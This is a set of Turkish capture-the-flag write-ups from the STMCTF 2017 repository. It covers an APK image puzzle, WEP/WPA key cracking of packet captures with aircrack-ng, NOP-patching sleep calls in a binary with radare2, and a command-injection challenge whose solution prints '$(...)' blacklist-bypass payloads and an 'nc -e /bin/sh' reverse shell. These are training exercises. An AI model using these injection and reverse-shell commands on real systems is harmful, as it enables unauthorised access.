https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/TombulKus/6b6251894b1f2922d9860b9c4e99e7d5.zip -------------------------------------------------------------------------------- /MOB/TombulKus/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Soru İsmi: Tombul Kuş 4 | 5 | ## Soru Metni: 6 | 7 | Biz yükledik, oynadık; çok eğlendik. Ama ne kadar zıplarsan zıpla, bulamayacaksın. 8 | 9 | ## Çözüm: 10 | 1. Apk’yı decompile edip kodu incelediğimizde flag’in 200 parça halinde png dosyalarından oluştuğu anlaşılıyor. 11 | 12 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/TombulKus/tombul1.png) 13 | 14 | 2. Assets/flag dizininde png dosyalarını görüyoruz. 15 | 16 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/TombulKus/tombul2.png) 17 | 18 | 19 | 3. Resimleri yatay olarak birleştirince flag elde ediliyor. Bu işlem için convert komutu +append parametresi ile kullanılabilir. 20 | 21 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/TombulKus/tombul3.png) 22 | -------------------------------------------------------------------------------- /MOB/TombulKus/tombul1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/TombulKus/tombul1.png -------------------------------------------------------------------------------- /MOB/TombulKus/tombul2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/TombulKus/tombul2.png -------------------------------------------------------------------------------- /MOB/TombulKus/tombul3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/TombulKus/tombul3.png -------------------------------------------------------------------------------- /MOB/freewifi/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: Free WiFi 3 | 4 | ## Soru Metni: 5 | Evdeki eski Pentium 1.3 GHz dizüstü bilgisayarı elden çıkardıktan sonra kablosuz modem ayarlarını tekrar ayarladım. Güvensiz kablosuz bağlantım artık daha güvenli. Komşunun hacker kuzeni de sözde bana not bırakmış, imkanı yok şifremi kırmış olamaz, şifrem 10 karakterden fazla. 6 | 7 | 8 | ## Çözüm: 9 | 1. bbc0482305844d0c031df0c082cc5d2e.zip icerisinden l ve n isimli iki adet dosya cikiyor. 10 | 11 | 2. Dosyaların sıkıştırılmış olduğu görülüyor. 12 | ``` 13 | l: 7-zip archive data, version 0.4 14 | n: gzip compressed data, last modified: Sun Sep 10 13:21:15 2017, max compression, from Unix 15 | ``` 16 | 17 | 3. 7-zip için 18 | ``` 19 | 7za e l 20 | ``` 21 | içerisinden evimKat1.tiff isimli dosya çıkıyor. 22 | 23 | gzip için 24 | ``` 25 | tar zxvf n 26 | ``` 27 | içerisinden evimKat1.jpg isimli dosya çıkıyor. 28 | 29 | 4. evimKat1 isimli dosya tipleri kontrol edildiğinde pcap dosyası olduğu görülüyor. 30 | ``` 31 | evimKat1.png: tcpdump capture file (little-endian) - version 2.4 (802.11, capture length 65535) 32 | evimKat1.tiff: tcpdump capture file (little-endian) - version 2.4 (802.11, capture length 65535) 33 | ``` 34 | 35 | 5. Soru WiFi dediği için zaman kaybetmeden aircrack ile her iki dosyayi deniyoruz. 36 | 37 | ``` 38 | > aircrack-ng evimKat1.png 39 | Opening evimKat1.png 40 | Read 1609958 packets. 41 | 42 | # BSSID ESSID Encryption 43 | 44 | 1 00:12:BF:5A:F7:B7 evimKat1 WEP (766940 IVs) 45 | 46 | Choosing first network as target. 47 | Opening evimKat1.png 48 | Attack will be restarted every 5000 captured ivs. 49 | Starting PTW attack with 766940 ivs. 50 | 51 | Aircrack-ng 1.2 rc4 52 | [00:00:04] Tested 1009515 keys (got 766940 IVs) 53 | KB depth byte(vote) 54 | 0 0/ 1 38(1056768) DD(806912) 01(802048) A5(799744) 42(799488) B0(794624) 37(793088) 55 | 1 0/ 1 75(1029120) 53(805888) EB(805888) D6(801792) 49(799744) AA(797696) 92(795392) 56 | 2 0/ 1 2A(1014528) E2(803584) 67(800256) 64(799488) 1A(797696) A2(796160) E5(793088) 57 | 3 0/ 1 46(1039616) CF(798976) 84(797184) E6(795136) CA(793856) 6E(792832) D1(792576) 58 | 4 0/ 1 31(1004544) 3F(806400) 8D(805888) FD(799488) A1(798208) 1E(794368) 43(792320) 59 | 5 0/ 1 34(1029632) 6E(803072) B5(797184) 49(796928) D7(795904) A9(795392) AD(794112) 60 | 6 0/ 1 67(1009408) FB(810240) B8(805376) 13(803328) B2(801024) 8A(800768) D8(797440) 61 | 7 0/ 1 2A(1017600) 5D(807680) E6(796160) 6F(792320) B3(791808) 12(789248) 38(788736) 62 | 8 0/ 1 44(960768) 85(802304) 19(798464) 97(798464) 94(796928) 81(796672) 0E(795392) 63 | 9 0/ 1 65(973568) 08(794880) 37(794880) 0A(794624) C5(794624) 7E(793600) 40(790528) 64 | 10 0/ 1 F2(803584) 20(802816) 2F(799232) FC(797184) 6B(796928) CE(796928) 2D(796672) 65 | 11 0/ 1 6F(805632) 1E(797184) 58(795648) 6B(795136) 28(794880) 45(794368) 72(793856) 66 | 12 0/ 16 7E(812748) B8(810680) 8D(809696) 9D(798488) 08(795428) F9(792180) F2(790904) 67 | 68 | KEY FOUND! [ 38:75:2A:46:31:34:67:2A:44:65:67:69:6C ] (ASCII: 8u*F14g*Degil ) 69 | Decrypted correctly: 100% 70 | 71 | > aircrack-ng evimKat1.tiff 72 | Opening evimKat1.tiff 73 | Read 1790738 packets. 74 | 75 | # BSSID ESSID Encryption 76 | 77 | 1 00:12:BF:5A:F7:B7 evimKat1 WPA (1 handshake) 78 | 79 | Choosing first network as target. 80 | 81 | Opening evimKat1.tiff 82 | Please specify a dictionary (option -w). 83 | Quitting aircrack-ng... 84 | ``` 85 | 86 | 6. Soruda kişinin ağ ayarlarında sıkılaştırma yaptığı anlaşılıyor. Yani WEP den WPA ya geçmiş. Belki aynı şifreyi kullanıyordur. Bir dosya içerisine bulduğumuz 8u*F14g*Degil şifreyi yazıp WPA kırma işlemini tekrar yapıyoruz. 87 | NOT: Yarışmacı burada ele geçirdiği evimKat1.png isimli WEP trafiğini inceleyebilir. Burada bulabileceği bir başka ipucu bulunmamaktadır. 88 | 89 | ``` 90 | > cat dictionary 91 | 8u*F14g*Degil 92 | 93 | > aircrack-ng -w dictionary evimKat1.tiff 94 | Opening evimKat1.tiff 95 | Read 1790738 packets. 96 | 97 | # BSSID ESSID Encryption 98 | 99 | 1 00:12:BF:5A:F7:B7 evimKat1 WPA (1 handshake) 100 | 101 | Choosing first network as target. 102 | 103 | Opening evimKat1.tiff 104 | Reading packets, please wait... 105 | 106 | Aircrack-ng 1.2 rc4 107 | 108 | [00:00:00] 1/1 keys tested (142.03 k/s) 109 | 110 | Time left: 0 seconds 100.00% 111 | 112 | KEY FOUND! [ 8u*F14g*Degil ] 113 | 114 | 115 | Master Key : DD 80 65 C9 F5 F9 C5 51 6F 57 72 0E D3 6D 57 B1 116 | 47 AF CC 8D DD 56 CF 28 E5 AD 7F 49 6C 40 CD A3 117 | 118 | Transient Key : 91 45 D7 CE E3 C7 71 5E A9 3F 3F A5 34 F1 16 1D 119 | 61 4A 96 5C 8B 16 72 06 1C 50 22 F2 74 C4 40 26 120 | E6 F5 4C 2C A6 6B AD 8F 4F A0 41 34 36 B1 F2 73 121 | A8 3D BD 02 72 35 E3 9E 34 DC 71 AF E8 BA CB 0A 122 | 123 | EAPOL HMAC : FA 34 26 9F 44 84 BF 42 C6 38 24 92 7D 7D 0D 08 124 | 125 | ``` 126 | 127 | 7. Wireshark ile evimKat1.tiff dosyasını açıyoruz. IEEE 802.11 WPA için elde ettiğimiz şifreyi giriyoruz. Daha sonra wireshark trafiği decode edilmesini bekliyoruz. 128 | 129 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/freewifi/freewifi0.tiff) 130 | 131 | 8. Ağ trafiğini incelediğimizde çok fazla gürültü olduğunu görüyoruz. Yarışmacı burada DNS paketleri üzerine yoğunlaşabilir. STMCTF kelimesi geçen sorgular bulunmakta. Gürültü olması için koyulan ping istekleri, farklı portlara açılan TCP istekleri görülmektedir. DNS paketleri incelendiğinde veya STMCTF{ kelimesi string olarak paketler içerisinde arandığında flag bulunabiliyor. 132 | 133 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/MOB/freewifi/freewifi1.tiff) 134 | 135 | 136 | ``` 137 | 306088 1058.626222 192.168.2.100 192.168.2.1 DNS 141 Standard query 0x7fe1 A STMCTF{Kulland1g1n_S1frey1_Tekrar_Kullanma} 138 | ``` 139 | 140 | FLAG: STMCTF{Kulland1g1n_S1frey1_Tekrar_Kullanma} 141 | -------------------------------------------------------------------------------- /MOB/freewifi/freewifi0.tiff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/freewifi/freewifi0.tiff -------------------------------------------------------------------------------- /MOB/freewifi/freewifi1.tiff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/freewifi/freewifi1.tiff -------------------------------------------------------------------------------- /PWN/NOPME/NOPME: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/NOPME -------------------------------------------------------------------------------- /PWN/NOPME/NOPME_patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/NOPME_patched -------------------------------------------------------------------------------- /PWN/NOPME/README.md: -------------------------------------------------------------------------------- 1 | ## Soru İsmi: REVERSE ME OR NOP ME 2 | 3 | ## Soru Metni: 4 | Eğer yeterince beklersen gelecek FLAG'ı bulabilirsin. 5 | 6 | [1c8f8fd399da56cf95f64ada316b84be](https://github.com/stmctf/stmctf17/blob/master/PWN/NOPME/NOPME) 7 | 8 | 9 | ## Çözüm: 10 | 11 | Soruda verilen binary dosyasini acinca sleepler ile bilinmeyen bir zaman bekliyor. Ya reverse edip, printflag fonksiyonlarinin input/outputlari incelenmeli veya binary patching yapilarak sleepler nop'a cevirilmelidir. 12 | 13 | 14 | 0. ```cp NOPME NOPME_patched``` komutu ile binary patching yapacagimiz dosyayi kopyalayarak cozume hazirlaniyoruz. 15 | 16 | 1. Radare ile dosyayi yazilabilir bir sekilde aciyoruz. 17 | ```radare2 -Aw NOPME_patched``` 18 | 19 | ```s main``` komutu ile main fonksiyonuna gidiyoruz. 20 | 21 | 22 | ```pdf``` komutu ile fonksiyonu disassemble edilmis sekilde ekrana bastiriyoruz. 23 | 24 | ``` 25 | [0x00400470]> s main 26 | [0x00400566]> pdf 27 | ;-- main: 28 | / (fcn) sym.main 613 29 | | sym.main (); 30 | | ; var int local_30h @ rbp-0x30 31 | | ; var int local_28h @ rbp-0x28 32 | | ; var int local_20h @ rbp-0x20 33 | | ; var int local_18h @ rbp-0x18 34 | | ; var int local_10h @ rbp-0x10 35 | | ; var int local_8h @ rbp-0x8 36 | | ; DATA XREF from 0x0040048d (entry0) 37 | | 0x00400566 55 push rbp 38 | | 0x00400567 4889e5 mov rbp, rsp 39 | | 0x0040056a 4883ec30 sub rsp, 0x30 ; '0' 40 | | 0x0040056e 48c745d00409. mov qword [local_30h], str.__no 41 | | 0x00400576 48c745d80909. mov qword [local_28h], str.__this 42 | | 0x0040057e 48c745e01009. mov qword [local_20h], str.__is 43 | | 0x00400586 48c745e81509. mov qword [local_18h], str.__not 44 | | 0x0040058e 48c745f01b09. mov qword [local_10h], str.___a 45 | | 0x00400596 48c745f82009. mov qword [local_8h], str.__flag 46 | | 0x0040059e bf12000000 mov edi, 0x12 47 | | 0x004005a3 e85d020000 call sym.printFlag2 ; floating_point rint(arithmetic x) 48 | | 0x004005a8 bf01000000 mov edi, 1 49 | | 0x004005ad e89efeffff call sym.imp.sleep ; int sleep(int s) 50 | | 0x004005b2 bf13000000 mov edi, 0x13 51 | | 0x004005b7 e849020000 call sym.printFlag2 ; floating_point rint(arithmetic x) 52 | | 0x004005bc bf0a000000 mov edi, 0xa 53 | | 0x004005c1 e88afeffff call sym.imp.sleep ; int sleep(int s) 54 | | 0x004005c6 bf0c000000 mov edi, 0xc 55 | | 0x004005cb e835020000 call sym.printFlag2 ; floating_point rint(arithmetic x) 56 | | 0x004005d0 bf64000000 mov edi, 0x64 ; 'd' 57 | | 0x004005d5 e876feffff call sym.imp.sleep ; int sleep(int s) 58 | | 0x004005da bf02000000 mov edi, 2 59 | | 0x004005df e821020000 call sym.printFlag2 ; floating_point rint(arithmetic x) 60 | | 0x004005e4 bfe8030000 mov edi, 0x3e8 61 | | 0x004005e9 e862feffff call sym.imp.sleep ; int sleep(int s) 62 | | 0x004005ee bf13000000 mov edi, 0x13 63 | | 0x004005f3 e80d020000 call sym.printFlag2 ; floating_point rint(arithmetic x) 64 | | 0x004005f8 bf10270000 mov edi, 0x2710 65 | | 0x004005fd e84efeffff call sym.imp.sleep ; int sleep(int s) 66 | | 0x00400602 bf05000000 mov edi, 5 67 | | 0x00400607 e8f9010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 68 | | 0x0040060c bf10270000 mov edi, 0x2710 69 | | 0x00400611 e83afeffff call sym.imp.sleep ; int sleep(int s) 70 | | 0x00400616 bf00000000 mov edi, 0 71 | | 0x0040061b e81f020000 call sym.printFlag3 ; floating_point rint(arithmetic x) 72 | | 0x00400620 bf10270000 mov edi, 0x2710 73 | | 0x00400625 e826feffff call sym.imp.sleep ; int sleep(int s) 74 | | 0x0040062a bf0d000000 mov edi, 0xd 75 | | 0x0040062f e8d1010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 76 | | 0x00400634 bf40420f00 mov edi, 0xf4240 77 | | 0x00400639 e812feffff call sym.imp.sleep ; int sleep(int s) 78 | | 0x0040063e bf0e000000 mov edi, 0xe 79 | | 0x00400643 e8bd010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 80 | | 0x00400648 bf40420f00 mov edi, 0xf4240 81 | | 0x0040064d e8fefdffff call sym.imp.sleep ; int sleep(int s) 82 | | 0x00400652 bf0f000000 mov edi, 0xf 83 | | 0x00400657 e8a9010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 84 | | 0x0040065c bf40420f00 mov edi, 0xf4240 85 | | 0x00400661 e8eafdffff call sym.imp.sleep ; int sleep(int s) 86 | | 0x00400666 bf0d000000 mov edi, 0xd 87 | | 0x0040066b e895010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 88 | | 0x00400670 bf40420f00 mov edi, 0xf4240 89 | | 0x00400675 e8d6fdffff call sym.imp.sleep ; int sleep(int s) 90 | | 0x0040067a bf0e000000 mov edi, 0xe 91 | | 0x0040067f e881010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 92 | | 0x00400684 bf40420f00 mov edi, 0xf4240 93 | | 0x00400689 e8c2fdffff call sym.imp.sleep ; int sleep(int s) 94 | | 0x0040068e bf0f000000 mov edi, 0xf 95 | | 0x00400693 e86d010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 96 | | 0x00400698 bf40420f00 mov edi, 0xf4240 97 | | 0x0040069d e8aefdffff call sym.imp.sleep ; int sleep(int s) 98 | | 0x004006a2 bf0d000000 mov edi, 0xd 99 | | 0x004006a7 e859010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 100 | | 0x004006ac bf40420f00 mov edi, 0xf4240 101 | | 0x004006b1 e89afdffff call sym.imp.sleep ; int sleep(int s) 102 | | 0x004006b6 bf0e000000 mov edi, 0xe 103 | | 0x004006bb e845010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 104 | | 0x004006c0 bf40420f00 mov edi, 0xf4240 105 | | 0x004006c5 e886fdffff call sym.imp.sleep ; int sleep(int s) 106 | | 0x004006ca bf0f000000 mov edi, 0xf 107 | | 0x004006cf e831010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 108 | | 0x004006d4 bf40420f00 mov edi, 0xf4240 109 | | 0x004006d9 e872fdffff call sym.imp.sleep ; int sleep(int s) 110 | | 0x004006de bf0d000000 mov edi, 0xd 111 | | 0x004006e3 e81d010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 112 | | 0x004006e8 bf40420f00 mov edi, 0xf4240 113 | | 0x004006ed e85efdffff call sym.imp.sleep ; int sleep(int s) 114 | | 0x004006f2 bf0e000000 mov edi, 0xe 115 | | 0x004006f7 e809010000 call sym.printFlag2 ; floating_point rint(arithmetic x) 116 | | 0x004006fc bf40420f00 mov edi, 0xf4240 117 | | 0x00400701 e84afdffff call sym.imp.sleep ; int sleep(int s) 118 | | 0x00400706 bf0f000000 mov edi, 0xf 119 | | 0x0040070b e8f5000000 call sym.printFlag2 ; floating_point rint(arithmetic x) 120 | | 0x00400710 bf40420f00 mov edi, 0xf4240 121 | | 0x00400715 e836fdffff call sym.imp.sleep ; int sleep(int s) 122 | | 0x0040071a bf0b000000 mov edi, 0xb 123 | | 0x0040071f e81b010000 call sym.printFlag3 ; floating_point rint(arithmetic x) 124 | | 0x00400724 bf40420f00 mov edi, 0xf4240 125 | | 0x00400729 e822fdffff call sym.imp.sleep ; int sleep(int s) 126 | | 0x0040072e bf02000000 mov edi, 2 127 | | 0x00400733 e807010000 call sym.printFlag3 ; floating_point rint(arithmetic x) 128 | | 0x00400738 bf40420f00 mov edi, 0xf4240 129 | | 0x0040073d e80efdffff call sym.imp.sleep ; int sleep(int s) 130 | | 0x00400742 bf0b000000 mov edi, 0xb 131 | | 0x00400747 e8f3000000 call sym.printFlag3 ; floating_point rint(arithmetic x) 132 | | 0x0040074c bf40420f00 mov edi, 0xf4240 133 | | 0x00400751 e8fafcffff call sym.imp.sleep ; int sleep(int s) 134 | | 0x00400756 bf02000000 mov edi, 2 135 | | 0x0040075b e8df000000 call sym.printFlag3 ; floating_point rint(arithmetic x) 136 | | 0x00400760 bf40420f00 mov edi, 0xf4240 137 | | 0x00400765 e8e6fcffff call sym.imp.sleep ; int sleep(int s) 138 | | 0x0040076a bf0b000000 mov edi, 0xb 139 | | 0x0040076f e8cb000000 call sym.printFlag3 ; floating_point rint(arithmetic x) 140 | | 0x00400774 bf40420f00 mov edi, 0xf4240 141 | | 0x00400779 e8d2fcffff call sym.imp.sleep ; int sleep(int s) 142 | | 0x0040077e bf02000000 mov edi, 2 143 | | 0x00400783 e8b7000000 call sym.printFlag3 ; floating_point rint(arithmetic x) 144 | | 0x00400788 bf40420f00 mov edi, 0xf4240 145 | | 0x0040078d e8befcffff call sym.imp.sleep ; int sleep(int s) 146 | | 0x00400792 bf0b000000 mov edi, 0xb 147 | | 0x00400797 e8a3000000 call sym.printFlag3 ; floating_point rint(arithmetic x) 148 | | 0x0040079c bf40420f00 mov edi, 0xf4240 149 | | 0x004007a1 e8aafcffff call sym.imp.sleep ; int sleep(int s) 150 | | 0x004007a6 bf02000000 mov edi, 2 151 | | 0x004007ab e88f000000 call sym.printFlag3 ; floating_point rint(arithmetic x) 152 | | 0x004007b0 bf40420f00 mov edi, 0xf4240 153 | | 0x004007b5 e896fcffff call sym.imp.sleep ; int sleep(int s) 154 | | 0x004007ba bf01000000 mov edi, 1 155 | | 0x004007bf e87b000000 call sym.printFlag3 ; floating_point rint(arithmetic x) 156 | | 0x004007c4 b800000000 mov eax, 0 157 | | 0x004007c9 c9 leave 158 | \ 0x004007ca c3 ret 159 | ``` 160 | 161 | 2. Gorundugu uzere oldukca fazla sleep fonksiyonu var. Dilerseniz tek tek butun sleep instructionlarinin uzerine NOP yazabilirsiniz ancak uzun surecegi icin daha kisa bir cozum aramakta fayda var. Biz bu soruyu asagidaki yol ile cozmek istedik. Daha kolay cozumler olmasina ragmen bu yontem ile yine 2-3 dakika icerisinde cozulebilmektedir. 162 | 163 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/PWN/NOPME/nop1.png) 164 | 165 | 166 | 167 | 3. Disassemble edilmis main fonksiyonuna baktigimiz zaman goruyoruz ki sleep icin yapilan sistem cagrilari ```e8 (call) + ****ffff (adres)``` seklinde. ```/x e8....ffff``` komutu ile opcode aramasi yaparak binary icerisindeki butun cagrilari ekrana dokuyoruz ve bunlardan main adres alani icerisindeki satirlari kopyalayarak sleeps.txt’ye kaydediyoruz. 168 | 169 | 170 | ``` 171 | #sleeps.txt icerigi 172 | 173 | 0x004005ad hit0_2 e89efeffff 174 | 0x004005c1 hit5_2 e88afeffff 175 | 0x004005d5 hit5_3 e876feffff 176 | 0x004005e9 hit5_4 e862feffff 177 | 0x004005fd hit5_5 e84efeffff 178 | 0x00400611 hit5_6 e83afeffff 179 | 0x00400625 hit5_7 e826feffff 180 | 0x00400639 hit5_8 e812feffff 181 | 0x0040064d hit5_9 e8fefdffff 182 | 0x00400661 hit5_10 e8eafdffff 183 | 0x00400675 hit5_11 e8d6fdffff 184 | 0x00400689 hit5_12 e8c2fdffff 185 | 0x0040069d hit5_13 e8aefdffff 186 | 0x004006b1 hit5_14 e89afdffff 187 | 0x004006c5 hit5_15 e886fdffff 188 | 0x004006d9 hit5_16 e872fdffff 189 | 0x004006ed hit5_17 e85efdffff 190 | 0x00400701 hit5_18 e84afdffff 191 | 0x00400715 hit5_19 e836fdffff 192 | 0x00400729 hit5_20 e822fdffff 193 | 0x0040073d hit5_21 e80efdffff 194 | 0x00400751 hit5_22 e8fafcffff 195 | 0x00400765 hit5_23 e8e6fcffff 196 | 0x00400779 hit5_24 e8d2fcffff 197 | 0x0040078d hit5_25 e8befcffff 198 | 0x004007a1 hit5_26 e8aafcffff 199 | 0x004007b5 hit5_27 e896fcffff 200 | ``` 201 | 202 | 203 | 4. Daha sonra sleeps.txt dosyasindaki her adrese NOP yazmak icin gerekli komut listesini awk ile olusturuyoruz (her nop yazimi icin iki satir gerekiyor: ```s 0xAdres``` komutu ile istenilen adrese gidiyoruz ve ```“wa nop;nop;nop;nop;nop;”``` komutu ile 5 byte NOP yaziyoruz). 204 | 205 | ```awk '{print "s " $1 "\n\"wa nop;nop;nop;nop;nop;\""}' sleeps.txt``` 206 | 207 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/PWN/NOPME/nop2.png) 208 | 209 | 210 | ``` 211 | #Olusan komut listesi: 212 | 213 | s 0x004005ad 214 | "wa nop;nop;nop;nop;nop;" 215 | s 0x004005c1 216 | "wa nop;nop;nop;nop;nop;" 217 | s 0x004005d5 218 | "wa nop;nop;nop;nop;nop;" 219 | s 0x004005e9 220 | "wa nop;nop;nop;nop;nop;" 221 | s 0x004005fd 222 | "wa nop;nop;nop;nop;nop;" 223 | s 0x00400611 224 | "wa nop;nop;nop;nop;nop;" 225 | s 0x00400625 226 | "wa nop;nop;nop;nop;nop;" 227 | s 0x00400639 228 | "wa nop;nop;nop;nop;nop;" 229 | s 0x0040064d 230 | "wa nop;nop;nop;nop;nop;" 231 | s 0x00400661 232 | "wa nop;nop;nop;nop;nop;" 233 | s 0x00400675 234 | "wa nop;nop;nop;nop;nop;" 235 | s 0x00400689 236 | "wa nop;nop;nop;nop;nop;" 237 | s 0x0040069d 238 | "wa nop;nop;nop;nop;nop;" 239 | s 0x004006b1 240 | "wa nop;nop;nop;nop;nop;" 241 | s 0x004006c5 242 | "wa nop;nop;nop;nop;nop;" 243 | s 0x004006d9 244 | "wa nop;nop;nop;nop;nop;" 245 | s 0x004006ed 246 | "wa nop;nop;nop;nop;nop;" 247 | s 0x00400701 248 | "wa nop;nop;nop;nop;nop;" 249 | s 0x00400715 250 | "wa nop;nop;nop;nop;nop;" 251 | s 0x00400729 252 | "wa nop;nop;nop;nop;nop;" 253 | s 0x0040073d 254 | "wa nop;nop;nop;nop;nop;" 255 | s 0x00400751 256 | "wa nop;nop;nop;nop;nop;" 257 | s 0x00400765 258 | "wa nop;nop;nop;nop;nop;" 259 | s 0x00400779 260 | "wa nop;nop;nop;nop;nop;" 261 | s 0x0040078d 262 | "wa nop;nop;nop;nop;nop;" 263 | s 0x004007a1 264 | "wa nop;nop;nop;nop;nop;" 265 | s 0x004007b5 266 | "wa nop;nop;nop;nop;nop;" 267 | ``` 268 | 269 | 5. Cikan sonucu radare2 konsolumuza yapistirip, q ile cikiyoruz. 270 | 271 | [NOPME_patched](https://github.com/stmctf/stmctf17/blob/master/PWN/NOPME/NOPME_patched) dosyasini calistirdigimiz zaman flagi **STMCTF{NOPNOPNOPNOP90909090}** olarak buluyoruz. 272 | 273 | 274 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/PWN/NOPME/nop3.png) 275 | 276 | 277 | -------------------------------------------------------------------------------- /PWN/NOPME/nop1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/nop1.png -------------------------------------------------------------------------------- /PWN/NOPME/nop2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/nop2.png -------------------------------------------------------------------------------- /PWN/NOPME/nop3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/nop3.png -------------------------------------------------------------------------------- /PWN/NOPME/nop4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/nop4.png -------------------------------------------------------------------------------- /PWN/NOPME/sleeps.txt: -------------------------------------------------------------------------------- 1 | 0x004005ad hit0_2 e89efeffff 2 | 0x004005c1 hit5_2 e88afeffff 3 | 0x004005d5 hit5_3 e876feffff 4 | 0x004005e9 hit5_4 e862feffff 5 | 0x004005fd hit5_5 e84efeffff 6 | 0x00400611 hit5_6 e83afeffff 7 | 0x00400625 hit5_7 e826feffff 8 | 0x00400639 hit5_8 e812feffff 9 | 0x0040064d hit5_9 e8fefdffff 10 | 0x00400661 hit5_10 e8eafdffff 11 | 0x00400675 hit5_11 e8d6fdffff 12 | 0x00400689 hit5_12 e8c2fdffff 13 | 0x0040069d hit5_13 e8aefdffff 14 | 0x004006b1 hit5_14 e89afdffff 15 | 0x004006c5 hit5_15 e886fdffff 16 | 0x004006d9 hit5_16 e872fdffff 17 | 0x004006ed hit5_17 e85efdffff 18 | 0x00400701 hit5_18 e84afdffff 19 | 0x00400715 hit5_19 e836fdffff 20 | 0x00400729 hit5_20 e822fdffff 21 | 0x0040073d hit5_21 e80efdffff 22 | 0x00400751 hit5_22 e8fafcffff 23 | 0x00400765 hit5_23 e8e6fcffff 24 | 0x00400779 hit5_24 e8d2fcffff 25 | 0x0040078d hit5_25 e8befcffff 26 | 0x004007a1 hit5_26 e8aafcffff 27 | 0x004007b5 hit5_27 e896fcffff 28 | -------------------------------------------------------------------------------- /PWN/PWINGME/README.md: -------------------------------------------------------------------------------- 1 | ## Soru İsmi: PWINGME 2 | 3 | ## Soru Metni: 4 | 5 | ```nc 192.168.$MASANO.5 7777``` 6 | 7 | ## On bilgi: 8 | Kendi ortaminizda dosyayi binary dosyasini 7777 portundan servis etmek icin asagidaki komutu kullanabilirsiniz. Ancak unutmayin ki, sorunun calistigi isletim sistemi ile sizin isletim sisteminiz farkli oldugu icin, yarisma platformu tam olarak simule edilemeyecektir. Ayni klasorde flag isimli dosya icerisinde flag yer almaktadir. 9 | 10 | ```socat TCP-LISTEN:7777,reuseaddr,fork EXEC:"./pwingme"``` 11 | 12 | 13 | 14 | ## Çözüm: 15 | 16 | 1. Soru metnine gore “; & $ > < ` \ !” karakterleri girdi olarak alindiginda karaliste anlasilmaktadir. Ancak $ karakterini denedigimizde karalisteye alinmadigi, unutuldugu fark edilmektedir. Linux isletim sistemlerinde $(komut) command injection saldirilarinda kullanilmaktadir. 17 | 18 | Yukaridaki bilgi bilinmese dahi ipuclarindan yer alan cumle (“The following special character can be used for command injection such as | ; & $ > < ` \ !”) arama motorlarinda aratildigi zaman OWASP* sitesindeki yazi bulunmaktadir. 19 | * https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013) 20 | 21 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/PWN/PWINGME/p1.png) 22 | 23 | 2. Bu yazida yer alan ornek kullanimlari mevcut olan $(cmd) komutunun calistigi fark edilmektedir (ornegin ; karakteri kullanildiginda “ILLEGAL CHAR: ;” hatasi vermektedir ancak $ karakteri kullanildiginda baska bir hata donmektedir). 24 | 25 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/PWN/PWINGME/p2.png) 26 | 27 | 28 | 3. Ancak bu sorudaki puf nokta STDOUT’un ekrana bastirilmamasidir. Bu durumun fark edilerek ```127.0.0.1$(/bin/sh)``` komutu ile blind shell alinmalidir. Devaminda ise reverse shell acilarak kendi bilgisayarimiza shell gonderilmelidir. Reverse shell almak icin ```nc -e /bin/sh $KENDIIPADRESIMIZ 4444``` komutu kullanilabilir. 29 | 30 | 4. Kendi bilgisayarimizdan ```nc -lnvp 4444``` ile dinledigimiz ve reverse shell’i tetikledigimiz durumda, soru sunucusundan shell alinmaktadir. 31 | 32 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/PWN/PWINGME/p3.png) 33 | 34 | 35 | 36 | Alternatif Cozum Yolu: 37 | 38 | 1. Shell almaya gerek kalmadan, soru binary dosyasi ile ayni dizinde flag dosyasi oldugu dusunulerek, ```127.0.0.1$(cat flag)``` 